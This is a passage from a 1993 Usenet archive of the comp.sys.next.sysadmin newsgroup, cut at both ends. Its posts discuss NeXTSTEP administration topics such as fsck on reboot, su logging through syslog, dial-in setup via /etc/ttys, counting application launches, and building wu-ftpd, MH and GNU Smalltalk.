should unmount the /Destination file system before running newfs on it, and remount it after newfs has completed). The restore will complain about a "lost+found" directory, but that can be ignored. Serge J. Goldstein
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: gerben@rna.indiv.nluug.nl Subject: SOLUTION (partly): NeXT WP files with graphics to PC WP 5.1 Message-ID: <1993Apr24.100815.11754@rna.indiv.nluug.nl> Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda) Organization: G.R.O.S.S. Date: Sat, 24 Apr 1993 10:08:15 GMT I know what causes the problem: WP 5.1 on the PC cannot handle more that 8 bit TIFFs. NeXT produces 24 bit TIFFs. All I need now is a way to convert. It seems there is a file called graphics/tiff.tar.Z on uunet.uu.net, but I haven't been able to contact that site from my mail-server (which uses ftp). So, does anybody know the esaiest way to create 8 bit TIFFs from 24 bit TIFFs? -- Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539 "If you don't know where you are going, any road will take you there." From the Talmud(?), rephrased in Lewis Carroll, "Alice in Wonderland".
Newsgroups: comp.sys.next.sysadmin From: jladwig@soils.umn.edu (John Ladwig) Subject: Re: wu-ftpd-2.0 Message-ID: <C5zL8J.AFG@news2.cis.umn.edu> Sender: news@news2.cis.umn.edu (Usenet News Administration) Organization: UMN Soils GIS Lab References: <1993Apr23.130159.13806@ecsvax.uncecs.edu> Date: Sat, 24 Apr 1993 11:57:53 GMT In <1993Apr23.130159.13806@ecsvax.uncecs.edu> jpowell@borg.lib.vt.edu (James Powell) writes: >Has anyone successfully built wu-ftpd-2.0 on a NeXT running 3.0? There has been an existing closed beta test program going for the version 2 wu-ftpd since early March. I am working on the port to NS 2.1, Micheal Kuch from uni-tuebingen in Germany is working on NS 3.0. wu-ftpd-2.0 was a forced release due to the spectacular security hole in anon ftp installations, and was not a completely finished. There have been two closed releases since then, and the NeXT support has gottn *much* better. Micheal and I have a combined set of patches which produce clean compiles for us under the native cc, and I have verified that gcc-2.3.3 can be used to complie the current beta version, provided you fix a prototype conflict in <libc.h>. I'm sure there will be a general announcement when the code is pronounced release-ready. Sorry for the trouble you're having right now. -jml -- UMN Department of Soil Science; St. Paul, MN Internet: john.ladwig@soils.umn.edu Fidonet: John Ladwig 1:282/341 jladwig@torpedo.forestry.umn.edu
Newsgroups: comp.sys.next.sysadmin Subject: Re: Remote Window Server ? Message-ID: <SCOTT.93Apr23235328@nic.gac.edu> From: scott@nic.gac.edu (Scott Hess) Date: 23 Apr 93 23:53:28 References: <1r7mkq$3h5@usenet.INS.CWRU.Edu> Organization: Is a sign of weakness In-reply-to: pda@po.CWRU.Edu's message of 23 Apr 1993 03:09:14 GMT In article <1r7mkq$3h5@usenet.INS.CWRU.Edu>, pda@po.CWRU.Edu (Patrick D. Amon) writes: >For a while, I have been using an ND as a front end to a station. >All that involved was merely to run whichever apps I was willing to >redirect with -NXHost . Please don't laugh ! > >But there is one application I can't seem to figure out how to >redirect: the window server itself . I naively tried running it >with the option, and all it left me with was 2 half-crashed machines. >So I gather I'm not doing it the right way. Could anyone help me ?i Rather than redirect the windowserver ... you _can_ redirect the Workspace. At least under NS2.0 you could. You do something like: /usr/lib/NextStep/Workspace.app/Workspace -NXHost MyHost -AppDockOffsetX " -64" -AppDockOffsetX " -64" is to offset the new dock so that it's next to the current one instead of on top of it. [I said " -64" because if you do -64, it'll try to interpret -64 as an option, which isn't what you want!] Later, -- scott hess <shess@ssesco.com> <To the BatCube, Robin> 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
Newsgroups: comp.sys.next.sysadmin From: aboba@netcom.com (Bernard Aboba) Subject: INN install Message-ID: <abobaC601BK.GMw@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Sat, 24 Apr 1993 17:45:19 GMT
Newsgroups: comp.sys.next.sysadmin From: matt%mattcube@concert.net(Matthew M. Stecker) Subject: Re: Remote Window Server ? Message-ID: <1993Apr24.182707.3292@mattcube> Sender: matt@mattcube Organization: mSys Consulting. References: <SCOTT.93Apr23235328@nic.gac.edu> Date: Sat, 24 Apr 1993 18:27:07 GMT In article <SCOTT.93Apr23235328@nic.gac.edu> writes: > Rather than redirect the windowserver ... you _can_ redirect the > Workspace. At least under NS2.0 you could. You do something like: > > /usr/lib/NextStep/Workspace.app/Workspace -NXHost MyHost -AppDockOffsetX " -64" Well, I've been trying to get this to work for some time, with little success. Here's what happens when I try the above: _____________________ mattcube> /usr/lib/NextStep/Workspace.app/Workspace -NXHost mattcube -AppDockOffsetX " -64" Apr 24 14:23:23 Workspace: Cannot register device insertion notification port with bootstrap server : bootstrap service already active Apr 24 14:23:23 Workspace: Removable disk operations disabled Apr 24 14:23:23 Workspace: Cannot exec /usr/lib/viewer/WM.app Apr 24 14:23:23 Workspace: Cannot define WorkspaceReply : Netnameserver: name is not yours mattcube> __________________________ Any Help? I'd like to plug in a '030 board and display the workspace -NXHost on the '040 board. Is there a real easy way to do this? I know that I can buy the associated software from Spherical, but if it can be done w/o that software, so much the better. Matthew Stecker --
Newsgroups: comp.sys.next.sysadmin From: royce@splunge.uucp (Royce Howland) Subject: Re: Hard Disk Ruination Imminent? Message-ID: <1993Apr24.170257.13175@splunge.uucp> Organization: Ashley, Howland & Wood References: <1993Apr20.030245.29502@splunge.uucp> <C5tJnD.Dq6@fafnir.com> Date: Sat, 24 Apr 1993 17:02:57 GMT mckelvey@fafnir.com (James W. McKelvey) writes: >In article <1993Apr20.030245.29502@splunge.uucp> royce@splunge.uucp (Royce >Howland) writes: >> andrew@stone.com (Andrew Stone) writes: >> >> >I've got one machine on our net which is so close to my bed that I feel >> >obliged to shut it off at night, else I code in my sleep. >> >> >The trouble is, each time I power up, it fsck's, even though I power down >> >clean. Any guesses as to what this means? >> >> We have several machines on our net that do this, also. And I just >> saw an Epson Progression with NS Intel PR1 doing the same thing. I >> don't know why it's happening, but my theory is that it has something >> to do with NFS. In any event, it seems unlikely that all of ours are >> hard disks about to take that final spin-down. >> >> That's not to say that your disk isn't really dying. :~) >> -- >This is a 3.0 "feature" I have reported to NeXT. I have ten NeXT's to >administer at work. The stations almost NEVER reboot cleanly; the cubes almost >ALWAYS reboot cleanly, as does the lone Turbo station. Under 2.1, they all >rebooted cleanly. Who knows why??? Well, it's not just a 3.0 problem, since some of our machines were doing the same thing under 2.2. I've gone through 4 different slabs, 2.2 & 3.0, non-Turbo & Turbo, and my slabs almost always don't boot clean. I'm also constantly plagued with .nfs files, so I've tended to associate the two factors in my thinking. Also, I believe that if NFS filesystems can't be unmounted at shutdown time, then the root filesystem also can't be unmounted, which means it won't be clean when next you boot. Thus I suspect NFS is the culprit...anybody got any other theories on the matter? -- Royce Howland, DKW Systems Corp. | "And since OS/2 2.0 is a 32-bit Everything is IMHO | operating system, programs are royce@splunge.uucp (NeXTMail OK) | easier to write and run faster, or kakwa!atlantis!splunge!royce | too." -ad for OS/2 2.0
Newsgroups: comp.sys.next.sysadmin From: guest@pion.lanl.gov (T8 Guests) Subject: autoCompact in Mail.app 3.0 ? Message-ID: <1993Apr24.002421.17607@newshost.lanl.gov> Sender: news@newshost.lanl.gov Organization: Los Alamos National Lab Date: Sat, 24 Apr 1993 00:24:21 GMT Is there a way to get 3.0 Mail.app to automatically compact mailboxes? strings /NextApps/Mail.app/Mail shows a variable autoCompact (along with autoFetch, autoLaunch, autoIndent, KeyBindings, etc.), but dwrite Mail autoCompact YES has no effect. if this is not yet implemented in Mail.app, do any of the add-on Mail.app utilities available on archives allow for auto-compacting all accessed mbox's on quitting Mail.app ?
Newsgroups: comp.sys.next.sysadmin Subject: tunefs on root filesystem. Message-ID: <OLEG.93Apr24124607@gd.cs.CSUFresno.EDU> From: oleg@gd.cs.CSUFresno.EDU (Oleg Kibirev) Date: 24 Apr 93 12:46:07 Distribution: world Organization: Computer Science Departement of California State University inFresno I am trying to reduce minfree for a root filesystem on a NeXT without any other boot device around. Manpage for tunefs says that it won't work on mounted filesystems, but than mentions that if it's applied to root filesystem, machine must be rebooted. I thought it means that if you kill "update", run tunefs and than reboot the system w/o sync, it will work. I tried doing tunefs on both /dev/sd0a and /dev/rsd0a in this way, but it didn't have any effect on minfree. A while ago, I had the same problem on a Sun and ended up defining duplicates of / and /usr partitions (ie /dev/sd0e and /dev/sd0f), so I could do tunefs on those fake "dismounted" filesystems. Now, format program on a Sun allows me to define new partitions without affecting any existing ones. /usr/etc/disk on NeXT insists on "using default parameters from /etc/disktab" if I select writing a label. Since I didn't format this hard drive, I am affraid it might be formatted under a different version of NextStep, so I didn't venture to do this yet. Did anyone figure out a better way to tunefs / on NeXT? On this HD, it will give us ~40M of local disk space. Oleg
From: alexhart@cerf.net (Alex Hartley) Newsgroups: comp.sys.next.sysadmin Subject: install fonts Date: 24 Apr 1993 21:55:55 GMT Organization: CERFnet Distribution: world Message-ID: <1rcd1b$6n9@news.cerf.net> Keywords: fonts install font window Can someone send be a little stap-by-step method of installing more fonts in my machine using NS 3.0 so that the fonts all show up in the font panel? Thanks! -- Alex Hartley - NeXTmail preferred Alex Hartley and Associates Los Angeles, California (213)937-8718 (voice) (213)937-8734 (BBS) (213)937-9044 (fax)
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Counting program launches Message-ID: <C60E5M.9o1@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana Date: Sat, 24 Apr 1993 22:22:19 GMT Can anyone come up with a way to count the number of times a certain NeXTSTEP app is launched? Perhaps a process that watches the executable to see how many times it is executed? I don't want it for licensing issues, just so we can see what applications are being used and how often. I imagine this would run on the NFS server that houses the applications. I don't care which machines are taking it, I just want to know how many times it's started up. Any ideas??? (I am thinking of something involving lsof, but how could you make it run continuously? I suppose there might be a way to hack up the lsof code so that it just runs on that specific file all the time) -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: jfosback@darmok.uoregon.edu (Jason Fosback) Newsgroups: comp.sys.next.sysadmin Subject: How to monitor a tty? Message-ID: <1rcm8s$a92@pith.uoregon.edu> Date: 25 Apr 93 00:33:32 GMT Article-I.D.: pith.1rcm8s$a92 Organization: University of Oregon Network Services Is there a way to monitor a tty that a user is logged into? I'd like to essentially be able to get a "mirror image" of what the user is seeing and typing on his or her tty. Thanks in advance for any assistance!! -jason _________________________________________________________________ Jason Fosback, User Support Analyst | No sir, I didn't like it ---- University of Oregon ---- | -R&S Internet: jfosback@oregon.uoregon.edu | Star Trek: NeXT mail: jfosback@darmok.uoregon.edu | The NeXT Generation...
From: jfosback@darmok.uoregon.edu (Jason Fosback) Newsgroups: comp.sys.next.sysadmin Subject: How to setup dialin access?? Message-ID: <1rcmir$a9a@pith.uoregon.edu> Date: 25 Apr 93 00:38:51 GMT Article-I.D.: pith.1rcmir$a9a Organization: University of Oregon Network Services I'd like to be able to allow users to dial in to my NeXTstation running NeXTSTEP 3.0. From what I can gather, UUCP is *not* what I want. Essentially, I'd like the computer to pick up an incoming call and route it to the telnetd (or something similar), so that the user can get the standard "login:" prompt. At that point, all interaction with the computer should be exactly the same as if you had telnetted to a remote machine on the Internet. How can I achieve this? I've played around a little with /etc/getty but with no success. Any help would be much apreciated! Thanks! -jason _________________________________________________________________ Jason Fosback, User Support Analyst | No sir, I didn't like it ---- University of Oregon ---- | -R&S Internet: jfosback@oregon.uoregon.edu | Star Trek: NeXT mail: jfosback@darmok.uoregon.edu | The NeXT Generation...
Newsgroups: comp.sys.next.sysadmin From: dlw@netcom.com (David L. Williams) Subject: Re: Hard Disk Ruination Imminent? Message-ID: <dlwC60nJ4.IKL@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) References: <1993Apr24.170257.13175@splunge.uucp> Date: Sun, 25 Apr 1993 01:45:04 GMT I was having the same thing happen and I thought it was being caused by one of the commercial packages I had bought for my machine. Then I left the machine on one night late and the cron job that runs and cleans up the old .nfs files ran and viola! no more fsck's on boot up. But hey who knows... The cron job I refer to is one that comes preinstalled with 2.x/3.x. and when it cranks up makes MR disk rattle real good. David Williams
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Counting program launches Message-ID: <C60q43.KJs@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <C60E5M.9o1@ux1.cso.uiuc.edu> Date: Sun, 25 Apr 1993 02:40:36 GMT lemson@ux1.cso.uiuc.edu (David Lemson) writes: >Can anyone come up with a way to count the number of times a >certain NeXTSTEP app is launched? Perhaps a process that watches the > [..] >used and how often. I imagine this would run on the NFS server that >houses the applications. I don't care which machines are taking it, An addition to my original note: I would really rather this ran on the NFS server(s) that house the apps. I don't want to have to go pester all the people that mount my apps to install something on their own machines, or to have to go collect system accounting files from the 90-odd machines that I'm responsible for. Is something like this only a dream? (I have had 2 'me too's' for this so far already, so if anyone has a good answer, posting is OK!) -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: wching@csmt.music.yale.edu (William Ching) Subject: Monitoring SU's Message-ID: <1993Apr25.040706.7284@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale School of Music, Center for Studies in Music Technology Date: Sun, 25 Apr 1993 04:07:06 GMT Hi! I am concerned about security at this site, and was wondering if there was a way to log su attempts, either via syslog or via some other means. I know that SU writes to the console, but /tmp/console.log gets deleted every time some user logs into the console, so that's effective useless. Any suggestions would be much appreciated. Thanks! WC ----------------------------------------------------------------------------- William Ching, System Administrator | wching@csmt.music.yale.edu (NeXTMail) Yale University Department of Music | Center for Studies in Music Technology "To the insane the sane must seem insane"
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Monitoring SU's Message-ID: <C61580.6D4@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <1993Apr25.040706.7284@cs.yale.edu> Date: Sun, 25 Apr 1993 08:06:58 GMT wching@csmt.music.yale.edu (William Ching) writes: >Hi! I am concerned about security at this site, and was wondering if there >was a way to log su attempts, either via syslog or via some other means. I >know that SU writes to the console, but /tmp/console.log gets deleted every >time some user logs into the console, so that's effective useless. Any >suggestions would be much appreciated. Thanks! Yes, you can monitor them by syslog. It is at the auth.info level, so if you say: auth.info /usr/adm/paranoid in your syslog.conf, it will go to a file. Both bad and successful su's will be logged here. (I'm not certain that it's at the info level, but info does catch these so I know it's not at the debug level) -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: irving@Happy-Man.com (Irving_Wolfe) Newsgroups: comp.sys.next.sysadmin Subject: cancel <1993Apr23.180959.4184@Happy-Man.com> Message-ID: <1993Apr25.154445.12618@Happy-Man.com> Date: 25 Apr 93 15:44:45 GMT Control: cancel <1993Apr23.180959.4184@Happy-Man.com> Organization: Happy Man Corp., Vashon Island, WA 98070-7399 cancel <1993Apr23.180959.4184@Happy-Man.com> in newsgroup comp.sys.next.sysadmin -- Irving_Wolfe@Happy-Man.com 206/463-9399 x101 fax 206/463-9255 Happy Man Corp. 4410 SW Pt. Robinson Rd., Vashon, WA 98070-7399 We publish SOLID VALUE for the intelligent investor. NextMail OK Info. packet free. Send POSTAL address: Solid-Value@Happy-Man.com
From: irving@Happy-Man.com (Irving_Wolfe) Newsgroups: comp.sys.next.sysadmin,comp.mail.mh Subject: Re: mh-6.8 for NeXT Message-ID: <1993Apr25.154330.12332@Happy-Man.com> Date: 25 Apr 93 15:43:30 GMT Organization: Happy Man Corp., Vashon Island, WA 98070-7399 Thanks, Net! I got four replies. One person asked why on earth elm wasn't good enough for me, so I told him. One person reported similar problems to mine on a Sun system; I hope this helps her. Chris Paris <cap@bawdy.slip.cs.cmu.edu> kindly offered to share his binaries, compiled under 2.1, which should work under 3.0. Louie Mamakos, who has great expertise in making generic software run on the Next, sent me his conf/MH file, which I modified to fit my circumstances and used successfully. His message follows, to help others: > Date: Fri, 23 Apr 93 22:07:04 -0400 > From: louie@sayshell.umd.edu (Louis A. Mamakos) > Here what I use. Note in particular the -fwritable-strings > option. > louie # @(#)$Id: MH,v 1.7 90/04/06 09:44:31 sources Exp $ # bin /local/bin etc /local/lib/mh ldoptlibs -lsys_s -object mail /usr/spool/mail mandir /local/man manuals standard mts sendmail/smtp remove rm -f pop on ccoptions -O -bsd -fwritable-strings -pipe options BIND BSD42 BSD43 DBMPWD FLOCK RENAME VSPRINTF ZONEINFO options MHE MHRC RPATHS WHATNOW DUMB MIME MSGID RPATHS options NOMHSEQ options SBACKUP='"\\043"' -- Irving_Wolfe@Happy-Man.com 206/463-9399 x101 fax 206/463-9255 Happy Man Corp. 4410 SW Pt. Robinson Rd., Vashon, WA 98070-7399 We publish SOLID VALUE for the intelligent investor. NextMail OK Info. packet free. Send POSTAL address: Solid-Value@Happy-Man.com
Newsgroups: comp.sys.next.sysadmin From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: How to setup dialin access?? Message-ID: <1993Apr25.144631.15935@seer.demon.co.uk> Sender: paul@seer.demon.co.uk Organization: P & L Systems References: <1rcmir$a9a@pith.uoregon.edu> Date: Sun, 25 Apr 1993 14:46:31 GMT In article <1rcmir$a9a@pith.uoregon.edu> jfosback@darmok.uoregon.edu (Jason Fosback) writes: > I'd like to be able to allow users to dial in to my NeXTstation running > NeXTSTEP 3.0. From what I can gather, UUCP is *not* what I want. > > Essentially, I'd like the computer to pick up an incoming call and route > it to the telnetd (or something similar), so that the user can get the > standard "login:" prompt. > > At that point, all interaction with the computer should be exactly the > same as if you had telnetted to a remote machine on the Internet. > > How can I achieve this? I've played around a little with /etc/getty but > with no success. Any help would be much apreciated! > Have you considered giving them a normal shell login? You know, /bin/csh? Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 paull@cix.compulink.co.uk Fax: (0494)680228 76711.451@compuserve.com
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.sysadmin Subject: Re: How to setup dialin access?? Date: 25 Apr 1993 17:44:37 +0100 Organization: me organized? That's a joke! Message-ID: <1ref5l$6o2@steffi.demon.co.uk> References: <1rcmir$a9a@pith.uoregon.edu> <1993Apr25.144631.15935@seer.demon.co.uk> You just create an account for the user give him a shell. and then add an entry in /etc/ttys. kill -HUP 1 when you have done this. You should fine an extra getty process running once you have done this. That should do it. -- Real programmers don't create classes, they build heirarchies. (me) "If it doesn't compile and run emacs, it's not a computer." (Erik C. Sowa)
Newsgroups: comp.sys.next.sysadmin From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: Counting program launches Organization: Primitive Software Ltd. References: <C60E5M.9o1@ux1.cso.uiuc.edu> <C60q43.KJs@ux1.cso.uiuc.edu> Date: Sun, 25 Apr 1993 12:25:26 +0000 Message-ID: <1993Apr25.122526.7779@prim> Sender: usenet@demon.co.uk In article <C60q43.KJs@ux1.cso.uiuc.edu> lemson@uiuc.edu writes: >lemson@ux1.cso.uiuc.edu (David Lemson) writes: > >>Can anyone come up with a way to count the number of times a >>certain NeXTSTEP app is launched? Perhaps a process that watches the >> [..] >>used and how often. I imagine this would run on the NFS server that >>houses the applications. I don't care which machines are taking it, > >An addition to my original note: I would really rather this ran on >the NFS server(s) that house the apps. I don't want to have to go >pester all the people that mount my apps to install something on >their own machines, or to have to go collect system accounting files >from the 90-odd machines that I'm responsible for. > >Is something like this only a dream? (I have had 2 'me too's' for >this so far already, so if anyone has a good answer, posting is >OK!) First the bad news. It's impossible to implement this centrally _only_ on your NFS server machine because the NFS server doesn't know the difference between "applications" and any other type of file - it just handles read requests. Now the good news. You can implement such a counting mechanism by running a program on each client machine. If you like, they can all report their results automatically back to another program running on the server. (It would be useful if all the machines on your network ran a standard rc script held on the server at boot time, then you wouldn't need to bother with installing this program on every machine). You just need to create an application with a controller object that is NXApp's delegate. Then you have: - appDidInit:sender { [[Application workspace] beginListeningForApplicationStatusChanges]; return self; } - app:sender applicationDidLaunch:(const char *)appName { if (!strcmp(appName, "Path of the app you're interested in")) { // Increment count, report back to central counter app, etc } return self; } It works, I just tried it. There is only one proviso: it only gets triggered if your application is launched from the workspace manager (maybe NeXT should modify Application to make it automatically register newly launched apps with the workspace?). But well behaved dock extenders will use the WM to launch the app for them anyway. Dave Griffiths
From: gary@msu.edu (Gary J LaPointe CIS-AH MSU) Newsgroups: comp.sys.next.sysadmin Subject: Re: How to setup dialin access?? Date: 25 Apr 1993 21:10:05 GMT Organization: Michigan State University Message-ID: <1reund$kss@msuinfo.cl.msu.edu> References: <1993Apr25.144631.15935@seer.demon.co.uk> I don't think there is a problem with setting up an account From what I get out of the question is "How you you rig the NeXT to answer the modem hooked up to one of the serial ports?" I'd answer it, but I don't know how. I'd love to know though 'cause I want to hook a couple of dumbterminals up to the NeXT so more than one person can use the NeXT at once. Gary gary@ah3.cal.msu.edu Oops!! I just replied a copy of this to someone instead of doing a follow-up, sorry!!!!!!
From: gary@msu.edu (Gary J LaPointe CIS-AH MSU) Newsgroups: comp.sys.next.sysadmin Subject: Re: Mysterious loss of harddrive space Date: 25 Apr 1993 21:15:25 GMT Organization: Michigan State University Message-ID: <1rev1d$kss@msuinfo.cl.msu.edu> References: <1r6eekINN28a@news.aero.org> Had a machine losing diskspace while he watched the other day. Lost 6 meg just in a few minutes. We quit everything, gave us a meg. We logged out and then back in and it gave us another meg. We logged out and shutdown, then looged back in it gave us 18 meg back!!!!!!!!!!!! That is quit a bit since the machine only has a 100MB drive and the system uses 65 for who knows what. We went from 17 to 35 free, he was happy. gary \ gary@ah3.cal.msu.edu
Newsgroups: comp.sys.next.bugs,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin From: kgnome@cs.concordia.ca (MATIS stephane) Subject: Smalltalk building under NeXTSTEP 3.0 Message-ID: <C62Avt.AEp@newsflash.concordia.ca> Summary: GNU Smalltalk 1.1.1 Sender: usenet@newsflash.concordia.ca (USENET News System) Organization: Computer Science, Concordia University, Montreal, Quebec Date: Sun, 25 Apr 1993 23:07:05 GMT The following is the answer that I have received on my difficulty in "making" GNU Smallatlk 1.1.1 under NEXTSTEP 3.0. I have yet to try the posted "success", but I'm sure it will work. [Include Message]------------------------------------------------------- Date: Sat, 24 Apr 93 15:24:58 -0500 From: Chris Cleeland <milo!chris@wpa.com> To: MATIS stephane <kgnome@cs.concordia.ca> Subject: Re: GNU Smalltalk 1.1.1 Binaries sought Reply-To: chris%milo@wpa.com In comp.sys.next.programmer article <C5v5uy.HM1@newsflash.concordia.ca> you wrote: > Hello Folks! > > I'm looking for a set of GNU Smalltalk Binaries that run under 3.0, > but certainlly weren't compiled under 3.0, as it seems to be impossible. My > two attemptes failed, and according to gnu.smalltalk.bug, that's the general > gist of it. > > So please, could a good samaritan upload to cs.orst.edu or sonnata > a set of binaries for Smalltalk. I'm learning the language through the > Smalltalk tuorial, and have been very taken by it. I like the ploding > methodology ... after I'm done with this, I may finally get time to finish > my Garfinkel&Mahoney book and code in ObjC. > > In the meantime, I'll keep using my DGUX compiled edition, which > "seems" to work ok ... ( I'm having a strange bug related to a tutorial > example) > > > +---------------------------------+ ___ ___ ___ > | Stephane I. Matis | / \_BATLLETECH /\__\ Viva NeXT! > | E-Mail : kgnome@cs.concordia.ca | \___/ \___/ \/__/ NeXTSTEP 3.0! > | "It Just Works..." - Steve Jobs | \___/ > +---------------------------------+ Wolfnet Operative & NeXThead You really can get it to compile under NS3.0. It takes some work, though. The problem lies in compiling mstinterp.c and using the NeXT-tweaked preprocessor. If you look in /lib, you'll see both "cpp" and "cpp.precomp". The default preprocessor is the latter. It appears to have a bug in it which processing mstinterp provokes. What I did was to simply make a copy of mstinterp.c to mstinterp.c.orig. Then, I ran /lib/cpp (with the appropriate arguments from the Makefile) to produce mstinterp.i; after this, I ran cc on mstinterp.i and viola', it linked! I need to report these to both gnu.smalltalk.bug and NeXT. I'm having some problems posting from my machine at the moment, and I don't get gnu.smalltalk.bug. Would you mind passing it on? I've got to figure out where to mail for NeXT bugs. Good luck! And let me know if you need more help! -- ------------------------------------------------------------- Chris Cleeland | Internet: chris%milo@wpa.com Consultant/NeXT Advocate | UUCP: wupost!nimno!milo!chris Milo Designs | BellNet: (314) 771-3860 [End of Include]------------------------------------------------------- +---------------------------------+ ___ ___ ___ | Stephane I. Matis | / \_BATLLETECH /\__\ Viva NeXT! | E-Mail : kgnome@cs.concordia.ca | \___/ \___/ \/__/ NeXTSTEP 3.0! | "It Just Works..." - Steve Jobs | \___/ +---------------------------------+ Wolfnet Operative & NeXThead
Newsgroups: comp.sys.next.sysadmin From: rick@indeed.stanford.edu (Rick Stanley Francis) Subject: Re: How to setup dialin access?? Message-ID: <1993Apr26.004949.2334@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University References: <1reund$kss@msuinfo.cl.msu.edu> Date: Mon, 26 Apr 93 00:49:49 GMT In article <1reund$kss@msuinfo.cl.msu.edu> gary@msu.edu (Gary J LaPointe CIS-AH MSU) writes: > I don't think there is a problem with setting up an account > From what I get out of the question is > "How you you rig the NeXT to answer the modem hooked up > to one of the serial ports?" > > I'd answer it, but I don't know how. > I'd love to know though 'cause I want to hook a couple of dumbterminals > up to the NeXT so more than one person can use the NeXT at once. man ttys should give you the info you want. There is also some comments in /etc/ttys that may be helpful. man zs may also come in helpful. -Rick Francis rickf@leland.stanford.edu
Newsgroups: comp.sys.next.sysadmin From: tfs@gravity.gmu.edu (Tim Scanlon) Subject: Re: How to setup dialin access?? Message-ID: <1993Apr26.034911.19421@gmuvax2.gmu.edu> Followup-To: comp.sys.next.sysadmin Summary: use /dev/ttyda or /dev/ttydb Sender: tfs@gravity.gmu.edu Organization: George Mason University, Fairfax Va. References: <1rcmir$a9a@pith.uoregon.edu> Distribution: world Date: Mon, 26 Apr 1993 03:49:11 GMT from the zs manpage: " /dev/ttyda /dev/ttyda (/dev/ttydb) is used for "incom- ing" connections from modems. When /dev/ttyda is opened, the device driver asserts DTR and then blocks waiting for the modem to assert DCD (indicating that a con- nection has been established with a remote modem). When DCD is asserted by the modem the open system call returns. If DCD is deasserted by the modem, further reads and writes to the device will return the error EIO (i/o error); if the tty is the control- ling terminal for the process a SIGHUP will be sent to the process. /dev/ttyda is typically used in the file /etc/ttys for connecting modems used for dial-up logins. If a serial line is opened with the /dev/ttyda device name, it may not be opened with the /dev/ttya. A serial line opened with the /dev/ttyda device name may also be opened with the /dev/cua device name. Inter- locks between the /dev/ttyda and /dev/cua device names are described below. /dev/ttydfa /dev/ttydfa (/dev/ttydfb) operates identi- cally to /dev/ttyda except that RTS/CTS flow control is supported on 68040-based systems. See the section below on RTC/CTS flow con- trol. " It's been my experience that ttydfa & ttyfa may also need to be used depending on the modem. Take a good look at the manpage for zs & it should answer most of your configuration questions, as it covers topics like uucp & dialin togther etc. Tim Scanlon -- tfs@gravity.gmu.edu
From: upbundal@uxa.ecn.bgu.edu (Pred Bundalo) Newsgroups: comp.sys.next.sysadmin Subject: Re: Configuring SUPRA Fax modem to fastest data possible Date: 25 Apr 1993 23:00:21 -0500 Organization: Educational Computing Network Message-ID: <1rfmol$nb4@uxa.ecn.bgu.edu> References: <1ra7gjINNqit@senator-bedfellow.MIT.EDU> <tlm.735624828@scl1.al.iastate.edu> In article <tlm.735624828@scl1.al.iastate.edu> tlm@iastate.edu (Tom Marchioro) writes: >In <1ra7gjINNqit@senator-bedfellow.MIT.EDU> zmonster@athena.mit.edu (Eric M Hermanson) writes: > >>I am trying to configure my v32.bis, v42.bis SUPRA fax modem to transfer >>data as fast as possible. However, it is taking on the order of 30 min to >>transfer half a meg of data, and this seems slow since the modem on the other >>end also handles v32.bis and v42.bis. > >Well, the supra has a very nice little digital readout that tells you what >speed and compression are going at the moment. If you see 14.4 and then LP >and then CD then that's the best you are going to do in terms of modem to >modem connectivity. A little unclear. If you get 144, then DC, then LP, you have a V.32bis and V.42bis connection with V.42 error correction (very desireable). This is a *good* thing because it means you are getting up to 4:1 compression (up to 57600bps throughput). Also, the V.42bis protocol is intelligent enough to know that if it can't compress a file (some binaries), it will stop trying until it sees compressible data again. If you get M5 instead of LP, you have an MNP5 connection (2:1 compression), which is bad if you're transfering binaries because it could be slower than a straight 14.4K connection. >>I am using kermit as the transfer protocol. > >And as well all know that basically explains everything!! :) :) >Kermit is *extremely* slow, particularly if the packet size is too >small. I gave up on it completely and went to tip for a while, which was >better, and now use SLIP, which is the best of all (particularly wiht >SLIPcommander, which does backup for me, synchronizes my clock, fetches the >mail, etc.). In SLIP at 14.4 a half Mb transfer will take a couple minutes >tops. Err, this isn't quite true. First, kermit isn't that bad if you set it up right. Give it good send and receive packet sizes (2000 is good on clean lines) and 2 sliding windows and you should be in great shape. Note that you can also use zmodem transparently from within kermit. I believe someone has already explained how to do that. A half a meg in "a couple minutes tops"? I find that hard to believe, especially if you're using SLIP. Kermit is most definately faster (with either of the above setups) than SLIP. Assuming the best possible theoretical circumstances, it would take you 1 1/2 minutes to transfer 524288 bytes (1/2 meg) at 57600bps. You'll never see that in practice. You'll get close if you transfer very compressible text files. Most people transfer zips, GIFs, JPEGs, tar.[zZ]'s, and other already-compressed files, which means they'll be seeing transfer rates of about 6 1/2 minutes at 1440 cps. Don't get me wrong, I highly recommend SLIP, but it's certainly not faster at transfering files than kermit or kermit & 